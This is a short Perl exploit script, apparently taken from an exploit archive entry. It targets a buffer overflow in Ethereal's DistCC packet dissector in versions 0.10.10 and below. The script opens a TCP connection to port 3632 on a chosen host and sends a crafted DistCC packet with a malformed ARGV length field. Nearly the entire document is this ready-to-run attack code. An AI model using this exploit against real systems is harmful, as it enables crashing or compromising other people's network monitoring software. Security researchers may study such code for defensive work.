Ethereal DistCC buffer overflow exploit that affects versions 0.10.10 and below.
b8f089f4a09150605d3b5c9d8a3975538628927f6762f586a216ab6f54709fc9
#!/usr/bin/perl -w
# Exploit generated by beSTORM on 2005-05-10 12:45
# All Rights Reserved - Copyright (tm)
use IO::Socket;
use strict;
my $target = shift;
my $print_usage = 0;
if (!$target)
{
usage();
print "No target has been supplied, reverting to 192.168.1.52.\n";
$target = "192.168.1.52";
}
print "Will attack $target.\n";
my $target_port = 3632;
my $packet =<<END;
DIST00000001ARGC00000008ARGVFFFFFF00ccARGV00000002-gARGV00000003-O2ARGV00000005-WallARGV00000002-cARGV00000006main.cARGV00000002-oARGV00000006main.oDOTI0000001Bint main()\n{\n return(0);\n}\n
END
print "Sending: [$packet]\n";
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target, PeerPort => "3632");
unless ($remote) { die "cannot connect to distcc daemon on $target" }
print $remote $packet;
print "Done.\n";
sub usage
{
if ($print_usage) { return; }
$print_usage = 1;
print ("#"x50);
print "\n";
print "# $0 [hostname]\n";
print "# hostname\t-\tThe host the packet will be sent to.\n";
print "\n";
}